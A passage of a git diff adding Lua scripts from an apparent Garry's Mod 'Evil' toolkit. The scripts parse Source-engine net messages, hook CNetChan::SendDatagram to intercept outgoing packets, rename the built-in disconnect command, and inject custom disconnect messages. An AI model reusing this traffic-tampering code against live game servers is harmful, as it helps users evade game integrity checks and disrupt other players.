read:ReadUBitLong( 3 ) + write:WriteUBitLong( unk4, 3 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local unk6 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk6, 32 ) + + debugprint( "FileMD5Check", unk1, gamepath, unk3, unk4, filename, unk6 ) + end + }, + }, + + SVC = { + [ svc_Print ] = { -- 7 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Print, NET_MESSAGE_BITS ) + + local str = read:ReadString() + write:WriteString( str ) + + debugprint( "svc_Print [" .. str .. "]" ) + end + }, + + [ svc_ServerInfo ] = { -- 8 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_ServerInfo, NET_MESSAGE_BITS ) + + -- Protocol version number + local version = read:ReadShort() + write:WriteShort( version ) + + -- # of servers spawned since server .exe started + -- So that we can detect new server startup during download, etc. + -- Map change causes new server to "spawn". + local servercount = read:ReadLong() + write:WriteLong( servercount ) + + -- Is SourceTV enabled? + local sourcetv = read:ReadOneBit() + write:WriteOneBit( sourcetv ) + + -- 0 == listen, 1 == dedicated + local dedicated = read:ReadOneBit() + write:WriteOneBit( dedicated ) + + -- The client side DLL CRC check. + local serverclientcrc = read:ReadLong() + write:WriteLong( serverclientcrc ) + + -- Max amount of 'classes' (entity classes?) + local maxclasses = read:ReadWord() + write:WriteWord( maxclasses ) + +--[[ + -- The CRC of the server map must match the CRC of the client map. or else + -- the client is probably cheating. + local servermapcrc = read:ReadLong() + write:WriteLong( servermapcrc ) +--]] + + -- The MD5 of the server map must match the CRC of the client map. or else + -- the client is probably cheating. + local servermapmd5 = read:ReadBytes( 16 ) + write:WriteBytes( servermapmd5, 16 ) + servermapmd5:Delete() + + -- Amount of clients currently connected + local playernum = read:ReadByte() + write:WriteByte( playernum ) + + -- Max amount of clients + local maxclients = read:ReadByte() + write:WriteByte( maxclients ) + + -- Interval between ticks + local interval_per_tick = read:ReadFloat() + write:WriteFloat( interval_per_tick ) + + -- Server platform ('w', ...?) + local platform = read:ReadChar() + write:WriteChar( platform ) + + -- Directory used by game (eg. garrysmod) + local gamedir = read:ReadString() + write:WriteString( gamedir ) + + -- Map being played + local levelname = read:ReadString() + write:WriteString( levelname ) + + -- Skybox to use + local skyname = read:ReadString() + write:WriteString( skyname ) + + -- Server name + local hostname = read:ReadString() + write:WriteString( hostname ) + + -- Unknown bit (1Ah), probably replay + local unk = read:ReadOneBit() + write:WriteOneBit( unk ) + + debugprint( "svc_ServerInfo", hostname, unk ) + end + }, + + [ svc_SendTable ] = { -- 9 (Untested!) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SendTable, NET_MESSAGE_BITS ) + + local encoded = read:ReadOneBit() + write:WriteOneBit( encoded ) + + local bits = read:ReadShort() --14 + write:WriteShort( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_SendTable", ( encoded == 1 ), bits ) + end + }, + + [ svc_ClassInfo ] = { -- 10 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_ClassInfo, NET_MESSAGE_BITS ) + + local numclasses = read:ReadShort() + write:WriteShort( numclasses ) + + local useclientclasses = read:ReadOneBit() + write:WriteOneBit( useclientclasses ) + + if ( useclientclasses == 0 ) then + for i = 1, numclasses do + local unk3 = read:ReadUBitLong( math.log2( numclasses ) + 1 ) + write:WriteUBitLong( unk3, math.log2( numclasses ) + 1 ) + + local unk4 = read:ReadString() + write:WriteString( unk4 ) + + local unk5 = read:ReadString() + write:WriteString( unk5 ) + + debugprint( "Full update", unk3, unk4, unk5 ) + end + end + + debugprint( "svc_ClassInfo", numclasses, useclientclasses ) + end + }, + + [ svc_SetPause ] = { -- 11 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SetPause, NET_MESSAGE_BITS ) + + local state = read:ReadOneBit() + write:WriteOneBit( state ) + + debugprint( "svc_SetPause", ( state == 1 ) ) + end + }, + + [ svc_CreateStringTable ] = { -- 12 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CreateStringTable, NET_MESSAGE_BITS ) + + local tablename = read:ReadString() + write:WriteString( tablename ) + + local maxentries = read:ReadWord() + write:WriteWord( maxentries ) + + local entries = read:ReadUBitLong( math.log2( maxentries ) + 1 ) + write:WriteUBitLong( entries, math.log2( maxentries ) + 1 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local userdata = read:ReadOneBit() + write:WriteOneBit( userdata ) + + if ( userdata == 1 ) then + local userdatasize = read:ReadUBitLong( 12 ) + write:WriteUBitLong( userdatasize, 12 ) + + local userdatabits = read:ReadUBitLong( 4 ) + write:WriteUBitLong( userdatabits, 4 ) + end + + local compressed = read:ReadOneBit() + write:WriteOneBit( compressed ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_CreateStringTable", tablename ) + end + }, + + [ svc_UpdateStringTable ] = { -- 13 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_UpdateStringTable, NET_MESSAGE_BITS ) + + local tableid = read:ReadUBitLong( math.log2( MAX_TABLES ) ) -- 10h + write:WriteUBitLong( tableid, math.log2( MAX_TABLES ) ) + + local unk2 = read:ReadOneBit() + write:WriteOneBit( unk2 ) + + local changed + + if ( unk2 == 1 ) then + changed = read:ReadWord() -- 14h + write:WriteWord( changed ) + else + changed = 1 + end + + local bits = read:ReadUBitLong( 20 ) -- 18h + write:WriteUBitLong( bits, 20 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_UpdateStringTable", "table="..tableid..",", ( unk2 == 1 ), "changed="..changed..",", bits ) + end + }, + + [ svc_VoiceInit ] = { -- 14 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_VoiceInit, NET_MESSAGE_BITS ) + + local codec = read:ReadString() + write:WriteString( codec ) + + local quality = read:ReadByte() + write:WriteByte( quality ) + + debugprint( "svc_VoiceInit", codec, quality ) + end + }, + + [ svc_VoiceData ] = { -- 15 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_VoiceData, NET_MESSAGE_BITS ) + + local client = read:ReadByte() -- 10h + write:WriteByte( client ) + + local proximity = read:ReadByte() -- 14h + write:WriteByte( proximity ) + + local bits = read:ReadWord() -- 18h + write:WriteWord( bits ) + + local voicedata = read:ReadBits( bits ) + write:WriteBits( voicedata, bits ) + voicedata:Delete() + + debugprint( "svc_VoiceData", client, proximity, bits ) + end + }, + + [ svc_Sounds ] = { -- 17 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Sounds, NET_MESSAGE_BITS ) + + local reliable = read:ReadOneBit() + write:WriteOneBit( reliable ) + + local num + local bits + + if ( reliable == 0 ) then + num = read:ReadUBitLong( 8 ) + write:WriteUBitLong( num, 8 ) + + bits = read:ReadUBitLong( 16 ) + write:WriteUBitLong( bits, 16 ) + else + num = 1 + + bits = read:ReadUBitLong( 8 ) + write:WriteUBitLong( bits, 8 ) + end + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) -- Check out SoundInfo_t::ReadDelta if you want to read this + data:Delete() + + debugprint( "svc_Sounds", ( reliable == 1 ), num, bits ) + end + }, + + [ svc_SetView ] = { -- 18 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_SetView, NET_MESSAGE_BITS ) + + local viewent = read:ReadUBitLong( 11 ) + write:WriteUBitLong( viewent, 11 ) + + debugprint( "svc_SetView", viewent ) + end + }, + + [ svc_FixAngle ] = { -- 19 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_FixAngle, NET_MESSAGE_BITS ) + + local relative = read:ReadOneBit() + write:WriteOneBit( relative ) + + local x = read:ReadBitAngle( 16 ) + write:WriteBitAngle( x, 16 ) + + local y = read:ReadBitAngle( 16 ) + write:WriteBitAngle( y, 16 ) + + local z = read:ReadBitAngle( 16 ) + write:WriteBitAngle( z, 16 ) + + debugprint( "svc_FixAngle", ( relative == 1 ), x, y, z ) + end + }, + + [ svc_CrosshairAngle ] = { -- 20 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CrosshairAngle, NET_MESSAGE_BITS ) + + local p = read:ReadBitAngle( 16 ) + write:WriteBitAngle( p, 16 ) + + local y = read:ReadBitAngle( 16 ) + write:WriteBitAngle( y, 16 ) + + local r = read:ReadBitAngle( 16 ) + write:WriteBitAngle( r, 16 ) + + debugprint( "svc_CrosshairAngle", p, y, r ) + end + }, + + [ svc_BSPDecal ] = { -- 21 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_BSPDecal, NET_MESSAGE_BITS ) + + local pos = read:ReadBitVec3Coord() -- 10h + write:WriteBitVec3Coord( pos ) + + local texture = read:ReadUBitLong( 9 ) -- 1Ch + write:WriteUBitLong( texture, 9 ) + + local useentity = read:ReadOneBit() + write:WriteOneBit( useentity ) + + local ent -- 20h + local modulation -- 24h + + if ( useentity == 1 ) then + ent = read:ReadUBitLong( 11 ) + write:WriteUBitLong( ent, 11 ) + + modulation = read:ReadUBitLong( 12 ) -- In engine build 4421 -> 4426 this changed from 11 to 12 bits + write:WriteUBitLong( modulation, 12 ) + else + ent = 0 + modulation = 0 + end + + local lowpriority = read:ReadOneBit() -- "Replaceable", 28h + write:WriteOneBit( lowpriority ) + + debugprint( string.format( "svc_BSPDecal %s, %d, %d, %d, %d, %d", tostring( pos ), texture, useentity, ent, modulation, lowpriority ) ) + end + }, + + [ svc_UserMessage ] = { -- 23 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_UserMessage, NET_MESSAGE_BITS ) + + local msgtype = read:ReadByte() -- 10h + write:WriteByte( msgtype ) + + local bits = read:ReadUBitLong( 11 ) -- 14h + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_UserMessage", msgtype, bits ) + end + }, + + [ svc_EntityMessage ] = { -- 24 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_EntityMessage, NET_MESSAGE_BITS ) + + local entity = read:ReadUBitLong( 11 ) + write:WriteUBitLong( entity, 11 ) + + local class = read:ReadUBitLong( 9 ) + write:WriteUBitLong( class, 9 ) + + local bits = read:ReadUBitLong( 11 ) + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_EntityMessage", entity, class, bits ) + end + }, + + [ svc_GameEvent ] = { -- 25 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GameEvent, NET_MESSAGE_BITS ) + + local bits = read:ReadUBitLong( 11 ) + write:WriteUBitLong( bits, 11 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_GameEvent", bits ) + end + }, + + [ svc_PacketEntities ] = { -- 26 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_PacketEntities, NET_MESSAGE_BITS ) + + local max = read:ReadUBitLong( 11 ) + write:WriteUBitLong( max, 11 ) + + local unk2 = read:ReadOneBit() + write:WriteOneBit( unk2 ) + + local delta = 0 + + if ( unk2 == 1 ) then + delta = read:ReadLong() + write:WriteLong( delta ) + end + + local unk4 = read:ReadUBitLong( 1 ) + write:WriteUBitLong( unk4, 1 ) + + local changed = read:ReadUBitLong( 11 ) + write:WriteUBitLong( changed, 11 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local unk7 = read:ReadOneBit() + write:WriteOneBit( unk7 ) + + local unk8 = read:ReadBits( bits ) + write:WriteBits( unk8, bits ) + unk8:Delete() + + debugprint( "svc_PacketEntities", max, unk2, delta, unk4, changed, bits, unk7 ) + end + }, + + [ svc_TempEntities ] = { -- 27 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_TempEntities, NET_MESSAGE_BITS ) + + local num = read:ReadUBitLong( 8 ) -- 10h + write:WriteUBitLong( num, 8 ) + + local bits = read:ReadUBitLong( 17 ) -- 14h + write:WriteUBitLong( bits, 17 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_TempEntities", num, bits, data ) + end + }, + + [ svc_Prefetch ] = { -- 28 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Prefetch, NET_MESSAGE_BITS ) + + local index = read:ReadUBitLong( 13 ) + write:WriteUBitLong( index, 13 ) + + debugprint( "svc_Prefetch", index ) + end + }, + + [ svc_Menu ] = { -- 29 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_Menu, NET_MESSAGE_BITS ) + + local menutype = read:ReadShort() + write:WriteShort( menutype ) + + local bytes = read:ReadWord() + write:WriteWord( bytes ) + + local data = read:ReadBytes( bytes ) + write:WriteBytes( data, bytes ) + data:Delete() + + debugprint( "svc_Menu", menutype, bytes ) + end + }, + + [ svc_GameEventList ] = { -- 30 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GameEventList, NET_MESSAGE_BITS ) + + local num = read:ReadUBitLong( 9 ) + write:WriteUBitLong( num, 9 ) + + local bits = read:ReadUBitLong( 20 ) + write:WriteUBitLong( bits, 20 ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "svc_GameEventList", num, bits ) + end + }, + + [ svc_GetCvarValue ] = { -- 31 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_GetCvarValue, NET_MESSAGE_BITS ) + + local cookie = read:ReadSBitLong( 32 ) + write:WriteSBitLong( cookie, 32 ) + + local cvarname = read:ReadString() + write:WriteString( cvarname ) + + debugprint( "svc_GetCvarValue", cvarname ) + end + }, + + [ svc_CmdKeyValues ] = { -- 32 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( svc_CmdKeyValues, NET_MESSAGE_BITS ) + + local length = read:ReadLong() + write:WriteLong( length ) + + local keyvalues = read:ReadBits( length * 8 ) + write:WriteBits( keyvalues, length * 8 ) + keyvalues:Delete() + + debugprint( "svc_CmdKeyValues", length ) + end + }, + } +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua new file mode 100644 index 0000000..22906d0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_outgoing.lua @@ -0,0 +1,77 @@ + + + include( "custom_menu/SN3/sn3_base_cl.lua" ) + + + +include( "custom_menu/SN3/sn3_base_netmessages.lua" ) + +-- Initialization + +HookNetChannel( + { name = "CNetChan::SendDatagram" } +) + +hook.Add( "PreSendDatagram", "OutFilter", function( netchan, ... ) + local buffers = { ... } + + for k, write in pairs( buffers ) do + local totalbits = write:GetNumBitsWritten() + local read = sn3_bf_read( write:GetBasePointer(), totalbits ) + + write:Seek( 0 ) + + while ( read:GetNumBitsLeft() >= NET_MESSAGE_BITS ) do + local msg = read:ReadUBitLong( NET_MESSAGE_BITS ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.CLC[ msg ] + else + handler = NET_MESSAGES.SVC[ msg ] + end + + if ( !handler ) then + Msg( "Unknown outgoing message: " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + local func = handler.OutgoingCopy or handler.DefaultCopy + + if ( func( netchan, read, write ) == false ) then + Msg( "Failed to filter message " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + read:FinishReading() + end +end ) + +function FilterOutgoingMessage( msg, func ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.CLC[ msg ] + else + handler = NET_MESSAGES.SVC[ msg ] + end + end + + if ( !handler ) then return end + + handler.OutgoingCopy = func +end + +function UnFilterOutgoingMessage( msg ) + FilterOutgoingMessage( msg, nil ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua new file mode 100644 index 0000000..e4acf7a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_PlyMeta.lua @@ -0,0 +1,209 @@ +player = {} + +function player.GetAll() + local AllPlayers = {} + for k,v in ipairs( client.GetAllPlayers() ) do + table.insert( AllPlayers, Player( client.GetPlayerIndex( v ) ) ) + end + return AllPlayers +end + +function player.GetHumans() + local AllHumans = {} + for k,v in ipairs( client.GetAllPlayers() ) do + if !client.IsFakePlayer( v ) then + table.insert( AllHumans, Player( client.GetPlayerIndex( v ) ) ) + end + end + return AllHumans +end + +function player.GetBots() + local AllBots = {} + for k,v in ipairs( client.GetAllPlayers() ) do + if client.IsFakePlayer( v ) then + table.insert( AllBots, Player( client.GetPlayerIndex( v ) ) ) + end + end + return AllBots +end + +function player.GetByUserID( uid ) + for k,v in ipairs( client.GetAllPlayers() ) do + if v == uid then + return Player( client.GetPlayerIndex( uid ) ) + end + end + return nil +end + +function player.GetByEntIndex( entindex ) + for k,v in ipairs( client.GetAllPlayers() ) do + if client.GetPlayerIndex( v ) == entindex then + return Player( entindex ) + end + end + return nil +end + +function player.GetEntIndexFromUserID( uid ) + return client.GetPlayerIndex( uid ) +end + +function player.GetUserIDFromEntIndex( entindex ) + for k,v in ipairs( client.GetAllPlayers() ) do + if client.GetPlayerIndex( v ) == entindex then + return v + end + end + return nil +end + +function LocalPlayer() + return player.GetByUserID( client.LocalPlayerUserID() ) or nil +end + +Player = {} +Player.__index = Player +if !_R.Player then + _R.Player = Player -- Allows FindMetaTable to work :O +end + +setmetatable( Player, { + __call = function( self, entindex ) + return setmetatable( { userid = player.GetUserIDFromEntIndex( entindex ), entindex = entindex }, Player ) + end +} ) + +function Player:__tostring() + return "Player [" .. self:EntIndex() .. "][" .. self:GetName() .. "]" +end + +function Player:__eq( ply ) + return self.userid == ply.userid +end + +function Player:IsValid() + for k,v in ipairs( player.GetAll() ) do + if self == v then + return true + end + end + return false +end + +function Player:IsPlayer() + return true +end + +function Player:IsNPC() + return false +end + +function Player:UserID() + return self.userid +end + +function Player:EntIndex() + return self.entindex +end + +function Player:Alive() + return client.IsPlayerAlive( self.entindex ) +end + +--[[function Player:Ping() + return client.GetPlayerPing( self.entindex ) +end + +function Player:Frags() + return client.GetPlayerFrags( self.entindex ) +end + +function Player:Deaths() + return client.GetPlayerDeaths( self.entindex ) +end +]] + +function Player:IsMuted() + return client.IsPlayerMuted( self.entindex ) +end + +--[[ +function Player:Team() + return client.GetPlayerTeam( self.entindex ) +end +]] + +function Player:Health() + return client.GetPlayerHealth( self.entindex ) +end + +function Player:SetMuted( mute ) + return client.SetPlayerMuted( self.entindex, mute ) +end + +function Player:IsBot() + return client.IsFakePlayer( self.userid ) +end + +function Player:GetSprayMaterialPath() + return client.GetPlayerLogo( self.userid ) +end + +function Player:GetName() + return client.GetPlayerName( self.userid ) +end + +function Player:Nick() + return self:GetName() +end + +function Player:Name() + return self:GetName() +end + +function Player:GetClass() + return "player" +end + +function Player:SteamID() + local SteamID = client.GetPlayerSteamID( self.userid ) + if self:IsBot() then + return "BOT" + elseif SteamID == "STEAM_0:0:0" then -- The client doesn't actually know it yet, so we return the pending id + return "STEAM_ID_PENDING" + else + return SteamID + end +end + +function Player:CommunityID() + local FriendID = client.GetFriendID( self.userid ) -- The players friend ID number + local AuthNum = FriendID / 2 % 2 == 1 and 1 or 0 -- The auth server they use + return string.format( "765%0.f", FriendID + 61197960265728 + AuthNum ) +end + +function Player:FriendID() + return client.GetFriendID( self.userid ) +end + +Player.__type = "Entity" + +local oldtype = type + +function type( ob ) + local meta = getmetatable( ob ) + if oldtype( meta ) == "table" then + local __type = rawget( meta, "__type" ) + if !__type then + return oldtype( ob ) + elseif __type == "function" then + return __type( ob ) + else + return __type + end + else + return oldtype( ob ) + end +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua new file mode 100644 index 0000000..279341e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_B_Util.lua @@ -0,0 +1,56 @@ + + +function HeXLRCL(str) + --print("cmd >>"..str.."<<") + console.Command(str) +end + + +local GameStarted = nil +local GameEnded = nil +local function IsInGame() + local Game = client.IsInGame() + + if Game then + if not GameStarted then + GameStarted = true + GameEnded = false + hook.Call("StartGame", nil, nil) + end + else + if not GameEnded then + GameEnded = true + GameStarted = false + hook.Call("EndGame", nil, nil) + end + end +end +timer.Create("IsInGame", 1, 0, IsInGame) + + +local ConsoleOpen = nil +local ConsoleClosed = nil +local function IsConsoleOpen() + local Open = console.IsVisible() + + if Open then + if not ConsoleOpen then + ConsoleOpen = true + ConsoleClosed = false + hook.Call("ConsoleOpen", nil, nil) + end + else + if not ConsoleClosed then + ConsoleClosed = true + ConsoleOpen = false + hook.Call("ConsoleClosed", nil, nil) + end + end +end +timer.Create("IsConsoleOpen", 0.5, 0, IsConsoleOpen) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua new file mode 100644 index 0000000..0396b35 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Disconnect2.lua @@ -0,0 +1,108 @@ + + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Disconnect2", WHITE, ": Error 404, replicator not found!") + return +end + + +local QuitTAB = { + "With their pushin' and the poppin' and the hippin' and the hoppin' so they don't know what the stack is all about!", + "Muddy Menu-driven Micromanagement motherfuckery!", + "The only things we can't do are burn em, blow em up, or lose em", + "A good attempt at something impossible", + "Their world is in flames and we're giving them gasoline!", + "Accidentally the whole disconnect", + "Failure is always an option", + "Please excuse me while I pickup all these bricks i just shat", + "Base based base items", + "RIGHT IN THE CORN, YEAH", + "55-Gallon Drumroll, Please!", + "WITHOUT GASOLINE SAUSAGE", + "Way to blow the door of the hinges!", + "If they don't like it they can suck on my Care Package", + "Negative nonexistence feedback loop", + "Whoops, I meant panties", + "Whoops, I meant panties", + "Whoops, I meant panties", + "Whoops, I meant panties", +} + + + +local function IsOnline() + local Addr = client.GetIP() + return client.IsConnected() and (Addr != "0.0.0.0" or Addr != "loopback") +end + +local function SetupCVars() + if D2_SetupCVars then return end + D2_SetupCVars = true + + replicator.GetConCommand("disconnect"):SetName("disconnect_2") + + concommand.Add("disconnect", function(ply,cmd,args) + HeXQuit() + + timer.Simple(1, function() + if IsOnline() then --Didn't work + RunConsoleCommand("disconnect_2") + end + end) + end) +end +timer.Simple(1, SetupCVars) + + + + +function DisconnectWithMessage(what) + if not IsOnline() then return end --Menu/Singleplayer + + if not package.loaded.sourcenet3 then + require("sourcenet3") --Load here, less chance of crashing! + end + if not package.loaded.sourcenet3 then + COLCON(RED, "Disconnect2", WHITE, ": Error 404, sourcenet3 not found!") + return + end + + local chan = CNetChan() + if not chan then return end + local buff = chan:GetReliableBuffer() + buff:WriteUBitLong(net_Disconnect, 6) + buff:WriteString(what) + CNetChan():Transmit() + + COLCON(CMIColor, "Disconnect: ", RED, what) +end + + +function HeXQuit(ply,cmd,args) + local NewMsg = table.Random(QuitTAB) + + if (args and #args > 0) then + NewMsg = table.concat(args," ") + end + + DisconnectWithMessage(NewMsg) +end +--concommand.Add("hex_quit", HeXQuit) + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua new file mode 100644 index 0000000..6c6022e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_DownloadFilter.lua @@ -0,0 +1,237 @@ + +require("downloadfilter") +--[[ +local fuckyou = { + "weapon", + "mw3", +} + +hook.Add("ShouldDownload", "DownloadFilter", function(filename) + local ext = string.GetExtensionFromFilename(filename) + + for k,v in pairs(fuckyou) do + if filename:lower():find(v) then + return false + end + end + + if ((ext != "bsp") && (ext != "dua")) then + return false + end +end) + +if hook then return end +]] + +local AvailableFilters = { --Add more filters here + ["Datapack"] = {"dua"}, + ["Map Files"] = {"bsp", "ain", "nav", "res"}, + ["Sound Files"] = {"wav", "ogg", "mp3"}, + ["Model Files"] = {"mdl", "phy", "vtx", "vvd", "dx90.vtx", "dx80.vtx", "sw.vtx"}, + ["Texture Files"] = {"vtf", "vmt"}, + ["Text Files"] = {"txt", "ini", "cfg"}, + ["Particle Files"] = {"pcf"}, + ["Crap"] = {"vcs", "ani", "jpg", "psd", "db"}, +} + +local ActiveFilters = {} + +for _,types in pairs( AvailableFilters ) do + for _,filetype in pairs( types ) do + ActiveFilters[ filetype ] = true -- Default all settings to be enabled + end +end + +if file.Exists( "downloadfilter/filters.txt" ) then + for filetype,val in pairs( glon.decode( file.Read( "downloadfilter/filters.txt" ) ) ) do + ActiveFilters[ filetype ] = val -- Load our saved settings + end +end + +local function IsCategoryFullyChecked( cat ) -- Is everything in a category checked + local num = 0 + for _,filetype in pairs( AvailableFilters[ cat ] ) do + if ActiveFilters[ filetype ] then + num = num + 1 + end + end + return num >= #AvailableFilters[ cat ] +end + + +concommand.Add("downloadfilter_dump", function() + PrintTable( ActiveFilters ) +end) + + + +local function CreateCollapsibleCategory( cat, rownum ) -- Making a custom vgui element derived from the CollapsibleCategory failed.. :\ + local CollapsibleCategory = vgui.Create( "DCollapsibleCategory" ) + CollapsibleCategory:SetHeight( 32 ) + CollapsibleCategory:SetLabel( cat ) + CollapsibleCategory:SetExpanded( tobool( cookie.GetNumber( "DLFilter:"..cat ) ) ) -- Load cookies + + CollapsibleCategory.OriginalLayout = CollapsibleCategory.PerformLayout + CollapsibleCategory.OriginalToggle = CollapsibleCategory.Toggle + + CollapsibleCategory.DrawColor = Color( 185, 185, 185, 255 ) + + CollapsibleCategory.alt = math.fmod( rownum, 2 ) == 1 + + function CollapsibleCategory:Paint() + draw.RoundedBox( 4, 0, 0, self:GetWide(), self:GetTall(), self.DrawColor ) + end + + function CollapsibleCategory:Toggle() -- Hook into the toggle call, use to save cookies :D + self:OriginalToggle() + cookie.Set( "DLFilter:"..cat, ( self:GetExpanded() and 1 or 0 ) ) + end + + local CategoryList = vgui.Create( "DPanelList", CollapsibleCategory ) + CategoryList:SetAutoSize( true ) + CategoryList:SetSpacing( 5 ) + CategoryList:EnableHorizontal( false ) + CategoryList:EnableVerticalScrollbar( true ) + + CollapsibleCategory:SetContents( CategoryList ) + + CollapsibleCategory.CheckBoxes = {} + + CollapsibleCategory.MainCheckBox = vgui.Create( "DCheckBox", CollapsibleCategory ) + CollapsibleCategory.MainCheckBox:SetPos( 0, 4 ) + CollapsibleCategory.MainCheckBox:SetSize( 16, 16 ) + CollapsibleCategory.MainCheckBox:SetValue( IsCategoryFullyChecked( cat ) ) + + function CollapsibleCategory:UpdateColor() + if ( !IsCategoryFullyChecked( cat ) ) then + self.DrawColor = Color( 80, 80, 80, 255 ) + elseif ( self.alt ) then + self.DrawColor = Color( 103, 103, 103, 255 ) + else + self.DrawColor = Color( 125, 125, 125, 255 ) + end + end + + function CollapsibleCategory.MainCheckBox:OnChange( val ) + if !self.IgnoreChange then + for _,checkbox in pairs( CollapsibleCategory.CheckBoxes ) do + checkbox:SetValue( val ) + end + CollapsibleCategory:UpdateColor() + end + end + + function CollapsibleCategory:AddCheckBox( chktxt, val ) + local CheckBox = vgui.Create( "DCheckBoxLabel", CategoryList ) + CheckBox:SetText( chktxt ) + CheckBox:SetValue( val ) + CheckBox:SizeToContents() + function CheckBox:OnChange( val ) + ActiveFilters[ chktxt ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + CollapsibleCategory.MainCheckBox.IgnoreChange = true + CollapsibleCategory.MainCheckBox:SetValue( IsCategoryFullyChecked( cat ) ) + CollapsibleCategory.MainCheckBox.IgnoreChange = nil + CollapsibleCategory:UpdateColor() + end + CategoryList:AddItem( CheckBox ) + self.CheckBoxes[ chktxt ] = CheckBox + end + + function CollapsibleCategory:PerformLayout() + self:OriginalLayout() + self.MainCheckBox:AlignRight( 4 ) + end + + CollapsibleCategory:UpdateColor() + + return CollapsibleCategory +end + +local PANEL = {} + +function PANEL:Init() + self:EnableVerticalScrollbar() + self:SetPadding( 7 ) + self:SetSpacing( 2 ) + self:DockMargin( 1, 1, 1, 1 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 125, 125, 125, 255 ) ) + local savedval = true + local rownum = 0 + for category, types in pairs( AvailableFilters ) do + local row = CreateCollapsibleCategory( category, rownum ) + for _, filetype in pairs( types ) do + row:AddCheckBox( filetype, ActiveFilters[ filetype ] ) + end + self:AddItem( row ) + rownum = rownum + 1 + end + + self:Dock( FILL ) +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DPanelList" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local 